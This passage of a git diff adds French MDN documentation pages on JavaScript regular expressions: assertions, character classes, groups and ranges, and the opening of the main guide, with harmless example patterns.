+    <p>Ainsi, <code>/Jack(?=Sparrow)/</code> correspond à 'Jack' seulement s'il est suivi de 'Sparrow'. <code>/Jack(?=Sparrow|Bauer)/</code> correspond à 'Jack' seulement s'il est suivi de 'Sparrow' ou de 'Bauer'. Cependant, ni 'Sparrow' ni 'Bauer' ne feront partie de la correspondance.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>x(?!y)</code></td>
+   <td>
+    <p>Correspond à 'x' seulement si 'x' n'est pas suivi de 'y'.</p>
+
+    <p>Ainsi, <code>/\d+(?!\.)/</code> correspond à un nombre qui n'est pas suivi par un point, cette expression utilisée avec <code>la chaîne 3.141</code> correspondra pour '141' mais pas pour '3.141'.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;=y)x</code></td>
+   <td>
+    <p>Correspond à <code><em>x</em></code> seulement si <code><em>x</em></code> est précédé par <code><em>y</em></code>. C'est ce qu'on appelle une recherche arrière (<em>lookbehind</em>).</p>
+
+    <p>Ainsi /<code>(?&lt;=Jack)Sprat/</code> correspond à "Sprat" seulement s'il est précédé de "Jack".<br>
+     <code>/(?&lt;=Jack|Tom)Sprat/</code> correspond à "Sprat" seulement s'il est précédé de "Jack" ou "Tom".<br>
+     Toutefois, "Jack" et "Tom" ne feront pas partie de la correspondance.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;!y)x</code></td>
+   <td>
+    <p>Correspond à <code><em>x</em></code> uniquement si <code><em>x</em></code> n'est pas précédé par <code><em>y</em></code> (parfois appelée en anglais <em>negated lookbehind</em>)<em>.</em></p>
+
+    <p>Ainsi, <code>/(?&lt;!-)\d+/</code> correspondra à un nombre seulement si celui-ci n'est pas précédé d'un signe moins.<br>
+     <code>/(?&lt;!-)\d+/.exec('3')</code> cible "3".<br>
+      <code>/(?&lt;!-)\d+/.exec('-3')</code>  ne trouve aucune correspondance car le nombre est précédé d'un signe</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Assertion_avant_(lookahead)">Assertion avant (<em>lookahead</em>)</h3>
+
+<pre class="brush: js">let regex = /Premier(?= test)/g;
+
+console.log('Premier test'.match(regex)); // [ 'Premier' ]
+console.log('Premier truc'.match(regex)); // null
+console.log("Voici le Premier test de l'année.".match(regex)); // [ 'Premier' ]
+console.log('Voici le Premier truc du mois.'.match(regex)); // null
+</pre>
+
+<h3 id="Assertion_avant_négative">Assertion avant négative</h3>
+
+<p>L'expression rationnelle <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/\d+(?!\.)/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> permettra de rechercher plusieurs chiffres si ceux-ci ne sont pas suivis d'un point décimal. Ainsi, </span><code>/\d+(?!\.)/.exec('3.141')</code> trouvera la sous-chaîne "141" mais pas "3."</p>
+
+<pre class="brush: js">console.log(/\d+(?!\.)/g.exec('3.141')); // [ '141', index: 2, input: '3.141' ]
+</pre>
+
+<h3 id="Signification_différente_de_'!'_entre_les_assertions_et_les_intervalles">Signification différente de <code>'?!'</code> entre les assertions et les intervalles</h3>
+
+<p>La combinaison de caractères <code>?!</code> a un sens différent entre les <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières/Assertions">assertions</a> <code>/x(?!y)/</code> et les <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières/Groupes_et_intervalles">intervalles</a> <code>[^?!]</code>.</p>
+
+<pre class="brush: js">let orangePasCitron = "Voulez-vous avoir une orange? Oui, je ne veux pas avoir de citron!";
+
+let choixPasCitron = /[^?!]+avoir(?! un citron)[^?!]+[?!]/gi
+console.log(orangePasCitron.match(choixPasCitron)); // [ 'Voulez-vous avoir une orange?' ]
+
+let choixPasOrange = /[^?!]+avoir(?! une orange)[^?!]+[?!]/gi
+console.log(orangePasCitron.match(choixPasOrange)); // [ 'Oui, je ne veux pas avoir de citron!' ]
+</pre>
+
+<h3 id="Assertion_arrière_(lookbehind)">Assertion arrière (<em>lookbehind</em>)</h3>
+
+<pre class="brush: js">let oranges = ['espèce orange A ', 'sorte orange B', 'espèce orange C',];
+
+let especesOranges = oranges.filter( fruit =&gt; fruit.match(/(?&lt;=espèce )orange/));
+console.log(especesOranges); // [ 'espèce orange A ', 'espèce orange C' ]
+</pre>
diff --git a/files/fr/web/javascript/guide/expressions_régulières/classes_de_caractères/index.html b/files/fr/web/javascript/guide/expressions_régulières/classes_de_caractères/index.html
new file mode 100644
index 0000000000..ce2d02b789
--- /dev/null
+++ b/files/fr/web/javascript/guide/expressions_régulières/classes_de_caractères/index.html
@@ -0,0 +1,182 @@
+---
+title: Classes de caractères
+slug: Web/JavaScript/Guide/Expressions_régulières/Classes_de_caractères
+tags:
+  - Classes
+  - Guide
+  - JavaScript
+  - RegExp
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Character_Classes
+---
+<p>{{jsSidebar("JavaScript Guide")}}{{draft}}</p>
+
+<p>Les classes de caractères permettent de distinguer différents ensembles de caractères dans les expressions rationnelles (par exemple les chiffres d'une part et les lettres d'autre part).</p>
+
+<h2 id="Types">Types</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caractères</th>
+   <th scope="col">Signification</th>
+  </tr>
+ </thead>
+ <tbody>
+ </tbody>
+ <tbody>
+  <tr>
+   <td><code>.</code></td>
+   <td>
+    <p>Par défaut, (Le point) correspond à n'importe quel caractère excepté un caractère de saut de ligne.</p>
+
+    <p>Ainsi, <code>/.n/</code> correspond à  'un' et 'en' dans "Un baobab nain en cours de  croissance" mais pas à 'nain'.</p>
+
+    <p>Si le marqueur <code>s</code> (<em>dotAll</em>) est utilisé, le point correspondra également aux caractères de saut de ligne.</p>
+
+    <p>Le marqueur <code>m</code> ne modifie pas le comportement du point.</p>
+
+    <p>Attention, si on utilise le point dans <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières/Groupes_et_intervalles">un intervalle de caractères</a>, il n'aura plus cette signification spéciale.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\d</code></td>
+   <td>
+    <p>Correspond à un chiffre et est équivalent à <code>[0-9]</code>.</p>
+
+    <p>Ainsi, <code>/\d/</code> ou <code>/[0-9]/</code> correspond à '2' dans "H2O est la molécule de l'eau".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\D</code></td>
+   <td>
+    <p>Correspond à tout caractère qui n'est pas un chiffre et est équivalent à<code> [^0-9]</code>.</p>
+
+    <p>Ainsi, <code>/\D/</code> ou <code>/[^0-9]/</code> correspond à 'H' dans "H2O est la molécule de l'eau".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\w</code></td>
+   <td>
+    <p>Correspond à n'importe quel caractère alphanumérique de l'alphabet latin, y compris le tiret bas. C'est équivalent à <code>[A-Za-z0-9_]</code>.</p>
+
+    <p>Ainsi, <code>/\w/</code> correspond à 'l' dans "licorne", à '5' dans "5,28€", et à '3' dans "3D."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\W</code></td>
+   <td>
+    <p>Correspond à n'importe quel caractère n'étant pas un caractère de l'alphabet latin ou le tiret bas. Cela est équivalent à <code>[^A-Za-z0-9_]</code>.</p>
+
+    <p>Ainsi, <code>/\W/</code> ou <code>/[^A-Za-z0-9_]/</code> correspond à '%' dans "50%."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\s</code></td>
+   <td>
+    <p>Correspond à un blanc (cela comprend les espace, tabulation, saut de ligne ou saut de page). C'est équivalent à <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.</p>
+
+    <p>Ainsi, <code>/\s\w*/</code> correspond à ' toto' dans "truc toto".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\S</code></td>
+   <td>
+    <p>Correspond à un caractère qui n'est pas un blanc. C'est équivalent à <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.</p>
+
+    <p>Ainsi, <code>/\S\w*/</code> correspond à 'truc' dans "truc toto".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>Correspond à une tabulation (U+0009).</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>Correspond à un retour chariot (U+000D).</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>Correspond à un saut de ligne (U+000A).</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>Correspond à une tabulation verticale (U+000B).</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>Correspond à un saut de page (U+000C).</td>
+  </tr>
+  <tr>
+   <td><code>[\b]</code></td>
+   <td>Correspond pour un retour arrière (U+0008). (À ne pas confondre avec <code>\b</code>, voir <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières/Limites">les limites</a>).</td>
+  </tr>
+  <tr>
+   <td><code>\0</code></td>
+   <td>Correspond au caractère NULL (U+0000). Il ne doit pas être suivi d'un autre chiffre car <code>\0&lt;chiffres&gt;</code> est une <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_caractères_d'échappement">séquence d'échappement</a> pour les nombres en notation octale (si besoin d'utiliser un chiffre ensuite, on pourra utiliser la forme <code>\x00</code>, cf. ci-après).</td>
+  </tr>
+  <tr>
+   <td><code>\c<em>X</em></code></td>
+   <td>
+    <p>Correspond au caractère de contrôle où <code><em>X</em></code> est une lettre entre A et Z. Correspond au caractèlres de contrôle correspondant entre <code>U+0001</code>-<code>U+001F</code>. Ainsi, <code>/\cM/</code> correspondra au caractère controle-M au sein d'une chaîne de caractères soit <code>"\r"</code> pour <code>"\r\n"</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\x<em>hh</em></code></td>
+   <td>Correspond au caractère dont le code hexadécimal est hh (deux chiffres hexadécimaux).</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>hhhh</em></code></td>
+   <td>Correspond au caractère dont le code est hhhh (quatre chiffres hexadécimaux).</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>{hhhh}</em></code><em> </em>ou<code> <em>\u{hhhhh}</em></code></td>
+   <td>(Uniquement actif quand le marqueur <code>u</code> est activé) Correspond au caractère dont la valeur Unicode est <code>hhhh</code> (en chiffre hexadécimaux).</td>
+  </tr>
+  <tr>
+   <td><code>\</code></td>
+   <td>
+    <p>La barre oblique inversée indique que le prochain caractère doit être traité spécifiquement ou échappé. Elle se comporte d'une de ces façons :</p>
+
+    <ul>
+     <li>Pour les caractères normalement traités littéralement, cela indique que le prochain caractère est spécial et qu'il ne doit pas être interprété littéralement. Ainsi, <code>/b/</code> correspondra à la lettre "b" mais en utilisant la barre oblique inversée devant <code>/\b/</code>, on cherchera une limite de mot.</li>
+     <li>Pour les caractères spéciaux, la barre indique que le caractère doit être interprété littéralement. Ainsi, "*" est un caractère spécial (un quantificateur qui signifie que le caractère précédent doit être présent 0 ou plusieurs fois) : <code>/a*/</code> cherchera une correspondance avec 0 ou plusieurs "a". Si on souhaite trouver le caractère <code>*</code> dans une chaîne, on placera la barre oblique inversée devant : on a ainsi <code>/a\*/</code> qui permet de trouver "a*" dans une chaîne.</li>
+    </ul>
+
+    <div class="blockIndicator note">
+    <p><strong>Note :</strong> L'échappement vaut également avec la barre oblique inversée. Autrement dit, si on cherche la présence de <code>\</code> dans une chaîne, on pourra utiliser l'expression <code>/\\/</code> (où la première barre oblique échape la seconde).</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.property_escapes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{JSxRef("RegExp")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/guide/expressions_régulières/groupes_et_intervalles/index.html b/files/fr/web/javascript/guide/expressions_régulières/groupes_et_intervalles/index.html
new file mode 100644
index 0000000000..269313a659
--- /dev/null
+++ b/files/fr/web/javascript/guide/expressions_régulières/groupes_et_intervalles/index.html
@@ -0,0 +1,93 @@
+---
+title: Groupes et intervalles
+slug: Web/JavaScript/Guide/Expressions_régulières/Groupes_et_intervalles
+tags:
+  - Groupes
+  - Guide
+  - Intervalles
+  - JavaScript
+  - RegExp
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges
+---
+<p>{{jsSidebar("JavaScript Guide")}}{{draft}}</p>
+
+<p>Les groupes et intervalles permettent de représenter des groupes ou des intervalles de caractères dans des expressions rationnelles.</p>
+
+<h2 id="Types">Types</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caractères</th>
+   <th scope="col">Signification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><em>x</em>|<em>y</em></code></td>
+   <td>
+    <p>Correspond à 'x' ou 'y'.</p>
+
+    <p>Ainsi, <code>/vert|rouge/</code> correspond à 'vert' dans "feu vert" et à 'rouge' dans "feu rouge".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>[xyz]<br>
+    [a-c]</code></td>
+   <td>Un ensemble de caractère. Ce type de motif correspond pour n'importe quel caractètre présent entre les crochets, y compris les <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_caractères_d'échappement">séquences d'échappement</a>. Les caractères spéciaux comme le point (.) et l'astérisque ne sont pas considérés comme spéciaux au sein d'un ensemble et n'ont donc pas besoin d'être échappés. Il est possible de donner un ensemble sur un intervalle de caractères en utilisant un tiret (-), comme le montre l'exemple qui suit.<br>
+    <br>
+    Le motif <code>[a-d]</code>,  aura les mêmes correspondances que <code>[abcd]</code>, correspondant au 'b' de "bulle" et au 'c' de "ciel". Les motifis <code>/[a-z.]+/ </code>et <code>/[\w.]+/</code> correspondront pour la chaîne entirère : "Adre.ss.e".</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>[^xyz]<br>
+     [^a-c]</code></p>
+   </td>
+   <td>
+
+
+    <p>Exclusion d'un ensemble de caractères. Cela correspond à tout ce qui n'est pas compris entre crochets. Il est possible de fournir un intervalle de caractères en utilisant un tiret (-). Les autres règles qui s'appliquent pour l'ensemble de caractères (ci-avant) s'appliquent également ici.</p>
+
+    <p>Par exemple, <code>[^abc]</code> est équivalent à <code>[^a-c]</code>. Ils correspondent à 'u' dans "bulle" et à 'i' dans "ciel".</p>
+
+    <div class="blockIndicator note">
+    <p><strong>Note :</strong> Le caractère <code>^</code> peut également être utilisé afin d'indiquer le <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières/Limites">début d'un champ</a>.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(<em>x</em>)</code></td>
+   <td>
+    <p>Correspond à 'x' et garde la correspondance en mémoire. Les parenthèses permettent de <em>capturer </em>l'expression dans un « groupe ».<br>
+     <br>
+     Les '<code>(toto)</code>' et '<code>(truc)</code>', dans le motif <code>/(toto) (truc) \1 \2/</code> correspondent et gardent en mémoire les deux premiers mots de la chaîne de caractère "toto truc toto truc". Les <code>\1</code> et <code>\2</code> du motif correspondent respectivement à la première et à la deuxième correspondances pour les sous-chaînes entre parenthèses. Lorsqu'on souhaite effectuer un remplacement, on utilisera <code>$1</code> et <code>$2</code> pour faire référence au premier et second groupe et <code>$</code><code>n </code>pour faire référence au n-ième groupe capturé (ex. <code>('toto truc'.replace(/(...) (...)/, '$2 $1').</code> <code>$&amp;</code> fera référence à la chaîne entière).</p>
+
+    <p>Capturing groups have a performance penalty. If you don't need the matched substring to be recalled, prefer non-capturing parentheses (see below).</p>
+
+    <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">String.match()</a></code> won't return groups if the <code>/.../g</code> flag is set. However, you can still use <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/matchAll">String.matchAll()</a></code> to get all matches.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\<em>n</em></code></td>
+   <td>
+    <p>Avec <code><em>n</em></code> un entier positif. Cela permet de faire référence à la dernière sous-chaîne qui correspond au n-ième groupe entre parenthèses de l'expression rationnelle (en comptant les parenthèses gauche). Ainsi, <code>/apple(,)\sorange\1/</code> correspondra à "apple, orange," dans "apple, orange, cherry, peach".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;Nom&gt;x)</code></td>
+   <td>
+    <p>Correspond à <code>x</code> et nomme la correspondance. Les correspondances associées pourront être retrouvées via le nom indiqué. Les chevrons (<code>'&lt;'</code> et <code>'&gt;'</code>) sont obligatoires pour encadrer le nom.</p>
+
+    <p>Ainsi, si on veut extraire la composante de zone d'un numéro de téléphone aux États-Unis, on pourra écrire <code>/\((?&lt;area&gt;\d\d\d)\)/</code> et récupérer le nombre voulu avec <code>matches.groups.area</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?:<em>x</em>)</code></td>
+   <td>Correspond à 'x' mais ne garde pas la correspondance en mémoire. Les parenthèses ne <em>capturent</em> pas l'expression et permettent d'utiliser des sous-expressions d'une expression régulière pour travailler plus finement. L'expression <code>/(?:zoo){1,2}/</code> sans parenthèes non-capturantes <code>les caractères {1,2}</code> ne s'appliqueraient qu'au dernier 'o' de 'zoo'. Avec les parenthèses capturantes, <code>{1,2}</code> s'applique au mot entier 'zoo'.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p> <strong>Note de compatibilité :</strong> Firefox ne prend pas en charge les groupes nommés. Pour plus d'informations, voir <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1362154">le bug correspondant</a>.</p>
+</div>
diff --git a/files/fr/web/javascript/guide/expressions_régulières/index.html b/files/fr/web/javascript/guide/expressions_régulières/index.html
new file mode 100644
index 0000000000..94d037bbf2
--- /dev/null
+++ b/files/fr/web/javascript/guide/expressions_régulières/index.html
@@ -0,0 +1,745 @@
+---
+title: Expressions rationnelles
+slug: Web/JavaScript/Guide/Expressions_régulières
+tags:
+  - Guide
+  - Intermédiaire
+  - JavaScript
+  - RegExp
+translation_of: Web/JavaScript/Guide/Regular_Expressions
+---
+<p>{{jsSidebar("JavaScript Guide")}}{{PreviousNext("Web/JavaScript/Guide/Formatage_du_texte", "Web/JavaScript/Guide/Collections_indexées")}}</p>
+
+<p class="summary">Les expressions rationnelles sont des motifs utilisés pour correspondre à certaines combinaisons de caractères au sein de chaînes de caractères. En JavaScript, les expressions rationnelles sont également des objets. Ces motifs sont utilisés avec les méthodes {{jsxref("RegExp.exec", "exec")}} et {{jsxref("RegExp.test", "test")}} de {{jsxref("RegExp")}}, et avec les méthodes {{jsxref("String.match", "match")}}, {{jsxref("String.matchAll", "matchAll")}}, {{jsxref("String.replace", "replace")}}, {{jsxref("String.search", "search")}} et {{jsxref("String.split", "split")}} de {{jsxref("String")}}. Ce chapitre explique comment utiliser les expressions rationnelles en JavaScript (aussi appelées expressions régulières ou « <em>RegExp</em> »).</p>
+
+<h2 id="Créer_une_expression_rationnelle">Créer une expression rationnelle</h2>
+
+<p>Il est possible de construire une expression rationnelle de deux façons :</p>
+
+<ul>
+ <li>Utiliser un littéral d'expression régulière, qui correspond à un motif contenu entre deux barres obliques, par exemple :
+  <pre class="brush: js notranslate">var re = /ab+c/;
+</pre>
+
+  <p>Lorsque les littéraux d'expression régulière sont utilisés, l'expression est compilée lors du chargement du script. Il est préférable d'utiliser cette méthode lorsque l'expression régulière reste constante, afin d'avoir de meilleurs performances.</p>
+ </li>
+ <li>Appeler le constructeur de l'objet {{jsxref("RegExp")}}, par exemple :
+  <pre class="brush: js notranslate">var re = new RegExp("ab+c");
+</pre>
+
+  <p>Avec cette méthode, l'expression rationnelle est compilée lors de l'exécution. On utilisera cette méthode lorsque le motif utilisé est variable ou provient d'une autre source (par exemple une interaction utilisateur).</p>
+ </li>
+</ul>
+
+<h2 id="Écrire_une_expression_rationnelle">Écrire une expression rationnelle</h2>
+
+<p>Le motif d'une expression rationnelle est composé de caractères simples (comme <code>/abc/</code>), ou de caractères simples et spéciaux, comme <code>/ab*c/</code> ou <code>/Chapitre (\d+)\.\d*/ </code>. Le dernier exemple utilise des parenthèses qui permettent d'avoir une « mémoire ». La correspondance avec le motif contenu entre parenthèses pourra être utilisée par la suite. Ceci est décrit avec <a href="#parentheses">ce paragraphe</a>.</p>
+
+<h3 id="Utiliser_des_motifs_simples">Utiliser des motifs simples</h3>
+
+<p>Les motifs simples sont construits à partir de caractères pour lesquels on souhaite avoir une correspondance directe. Le motif <code>/des/</code> correspond lorsqu'on observe exactement les caractères 'des' ensemble et dans cet ordre précis. On pourrait utiliser ce motif et détecter une correspondance dans les chaînes suivantes : "J'ai vu des licornes ?" et "Sa description de licorne était superbe" car la chaîne de caractères 'des' y est présente (dans le mot description pour le second exemple). Il n'y aura pas de correspondance avec la chaîne de caractères "Toc toc" car 'des' n'est pas présente.</p>
+
+<h3 id="Utiliser_des_caractères_spéciaux">Utiliser des caractères spéciaux</h3>
+
+<p>Lorsque le motif à trouver est plus complexe qu'une simple égalité (trouver tous les B, les blancs...), le motif devra contenir des caractères spéciaux. Ainsi, le motif <code>/ab*c/</code> correspond à toutes les combinaisons de caractères qui possèdent un seul 'a' suivi de zéro ou plusieurs 'b' (l'astérisque utilisée ici signifie que l'élément qui la précède doit être présent zéro ou plusieurs fois) qui sont immédiatement suivis d'un 'c'. Par exemple, la chaîne de caractère "cbbabbbbcdebc" correspond au motif avec la chaîne de caractères 'abbbbc'.</p>
+
+<p>Les pages suivantes décrivent en détail les caractères spéciaux qui peuvent être utilisés afin de composer une expression rationnelle.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières/Assertions">Assertions</a></dt>
+ <dd>Une assertion caractérisant la façon dont la correspondance peut se produire (en recherchant un motif avant, après ou avec une expression conditionnelle).</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières/Limites">Limites</a></dt>
+ <dd>Permet d'indiquer le début ou la fin d'une ligne ou d'un mot.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières/Classes_de_caractères">Classes de caractère</a></dt>
+ <dd>Les classes permettent de distinguer différents caractères selon différents groupes (par exemple les lettres et les chiffres).</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières/Groupes_et_intervalles">Groupes et intervalles</a></dt>
+ <dd>Permet d'indiquer un groupe ou un intervalle de caractères.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières/Quantificateurs">Quantificateurs</a></dt>
+ <dd>Permet d'indiquer un nombre de caractères ou d'expressions qui doivent correspondre.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières/Unicode_Properties">Propriétés Unicode</a></dt>
+ <dd>Permet de distinguer les caractères en fonction de leurs caractéristiques Unicode (majuscule/minuscule, symbole mathématique, ponctuation).</dd>
+</dl>
+
+<h3 id="Échapper_des_caractères">Échapper des caractères</h3>
+
+<p>SI on souhaite rechercher certains caractères dans une chaîne de caractères et que ceux-ci ont une signification spéciale lorsqu'ils font partie d'une expression rationnelle (ex. "*"), il faudra échapper ces caractères spéciaux en plaçant une barre oblique inversée (<em>backslash</em> "\") devant. Ainsi, si on souhaite trouver un "a" suivi d'un astérisque ("*") suivi d'un "b", on pourra composer l'expression rationnelle : <code>/a\*b/</code> où la barre oblique inversée échappe l'astérisque afin de lui enlever sa signification particulière.</p>
+
+<p>De même si on écrit un littéral d'expression rationnelle et qu'on souhaite rechercher une barre oblique ("/") dans la chaîne cible, on pourra échapper ce caractère (sinon, il aura sa signification particulière aux expressions rationnelles et indiquera la fin du motif). Si on cherche la présence de "/exemple/" dans une chaîne de caractères, on pourra utiliser le littéral <code>/\/exemple\//</code>.</p>
+
+<p>Il en va de même avec la barre oblique inversée (dont la signification spécifique est justement l'échappement) : si on veut rechercher la chaîne "C:\", on pourra utiliser le motif <code>/C:\\/</code> (la première barre oblique inversée sert à échapper la seconde).</p>
+
+<p>Lorsqu'on utilise le constructeur {{jsxref("RegExp")}} avec une chaîne de caractères en paramètre (plutôt qu'un littéral), il faudra échapper la barre oblique inversée qui a un sens particulier dans les chaînes de caractères. Ainsi, le littéral <code>/a\*b/</code> et <code>new RegExp("a\\*b")</code> créeront la même expression (qui permet de chercher la lettre "a", suivie d'un astérisque, suivi de la lettre "b").</p>
+
+<p>La tableau qui suit fournit une liste complète des caractères spéciaux pouvant être utilisés dans les expressions régulières ainsi que leur signification.</p>
+
+<table class="standard-table">
+ <caption>Caractères spéciaux utilisables pour les expressions rationnelles.</caption>
+ <thead>
+  <tr>
+   <th scope="col">Caractère</th>
+   <th scope="col">Signification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="#special-backslash" id="special-backslash" name="special-backslash"><code>\</code></a></td>
+   <td>
+    <p>Correspond selon les règles suivantes :<br>
+     <br>
+     Une barre oblique inversée (<em>backslash</em>) précédant un caractère non spécial indique que le caractère qui suit est spécial et qu'il ne doit pas être interprété directement. Ainsi, un '<code>b</code>', sans <code>\</code> avant, correspondra pour les 'b' minuscules quel que soit leur position. En revanche '<code>\b</code>' ne correspondra à aucun caractère mais indique <a href="#special-word-boundary">un caractère de fin de mot</a>.<br>
+     <br>
+     Un <em>backslash</em> précédant un caractère spécial indique que le caractère qui suit doit être interprété littéralement (et non pas comme un caractère spécial). Ainsi, le motif <code>/a*/</code> utilise le caractère spécial '<code>*</code>' pour correspondre à 0 ou plusieurs 'a'. Le motif <code>/a\*/</code>, au contraire, rend '<code>*</code>' non-spécial pour correspondre aux chaînes de caractères qui comportent la lettre a et une astérisque, comme 'a*'.<br>
+     <br>
+     Il ne faut pas oublier d'échapper le caractère <code>\</code> car lui-même est un caractère d'échappement dans les chaînes de caractères. Cela est utile lorsqu'on utilise la notation RegExp("motif").</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-caret" id="special-caret" name="special-caret"><code>^</code></a></td>
+   <td>Correspond au début la séquence. Si le marqueur (<em>flag</em>) de lignes multiples vaut <code>true</code>, il correspondra également immédiatement après un caractère de saut de ligne.<br>
+    <br>
+    Ainsi, <code>/^A/</code> ne correspond pas au 'A' de "un A", mais correspond au 'A' de "Arceau".<br>
+    <br>
+    Le caractère '<code>^</code>' possède un sens différent lorsqu'il est utilisé dans un motif d'ensemble de caractères. Voir les <a href="#special-negated-character-set">compléments sur les ensembles de caractères </a>pour plus de détails et d'exemples.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-dollar" id="special-dollar" name="special-dollar"><code>$</code></a></td>
+   <td>
+    <p>Correspond à la fin de la séquence. Si le marqueur (<em>flag</em>) de lignes multiples vaut true, il correspondra également immédiatement avant un caractère de saut de ligne.</p>
+
+    <p>Ainsi, <code>/t$/</code> ne correspond pas au 't' de "printemps", mais correspond au 't' de "aliment".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-asterisk" id="special-asterisk" name="special-asterisk"><code>*</code></a></td>
+   <td>
+    <p>Correspond à l'expression précédente qui est répétée 0 ou plusieurs fois. Équivalent à <code>{0,}</code></p>
+
+    <p>Ainsi, <code>/bo*/</code> correspond à 'boo' dans "Un booléen" et à 'b' dans "Un bateau bleu", mais ne correspond à rien dans "Ce matin".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-plus" id="special-plus" name="special-plus"><code>+</code></a></td>
+   <td>
+    <p>Correspond à l'expression précédente qui est répétée une ou plusieurs fois. C'est équivalent à <code>{1,}</code>.</p>
+
+    <p>Ainsi, <code>/a+/</code> correspond au 'a' dans "maison" et à tous les 'a' dans "maaaaaaison" mais ne correspond à rien dans "mission".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-questionmark" id="special-questionmark" name="special-questionmark"><code>?</code></a></td>
+   <td>Correspond à l'expression précédente qui est présente une fois ou pas du tout. C'est équivalent à <code>{0,1}</code>.<br>
+    <br>
+    Ainsi, <code>/e?le?/</code> correspond au 'el' dans "gel" et au 'le' dans "angle" mais aussi au 'l' dans "Oslo".<br>
+    <br>
+    S'il est utilisé immédiatement après l'un des quantificateurs : *, +, ?, ou {}, il rend le quantificateur moins « gourmand » auquel cas le moins de caractères correspond (le comportement par défaut, « gourmand », permettant de faire correspondre le plus de caractères possible). Par exemple <code>/\d+/</code> utilisée avec "123abc" fait correspondre "123". Utiliser <code>/\d+?/</code> à la même chaîne de caractères fait correspondre "1".<br>
+    <br>
+    Ce symbole est également utilisé dans les tests de présence autour de l'expression, décrits par les lignes <code>x(?=y)</code> et <code>x(?!y)</code> de ce tableau.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-dot" id="special-dot" name="special-dot"><code>.</code></a></td>
+   <td>
+    <p>Par défaut, (Le point) correspond à n'importe quel caractère excepté un caractère de saut de ligne.</p>
+
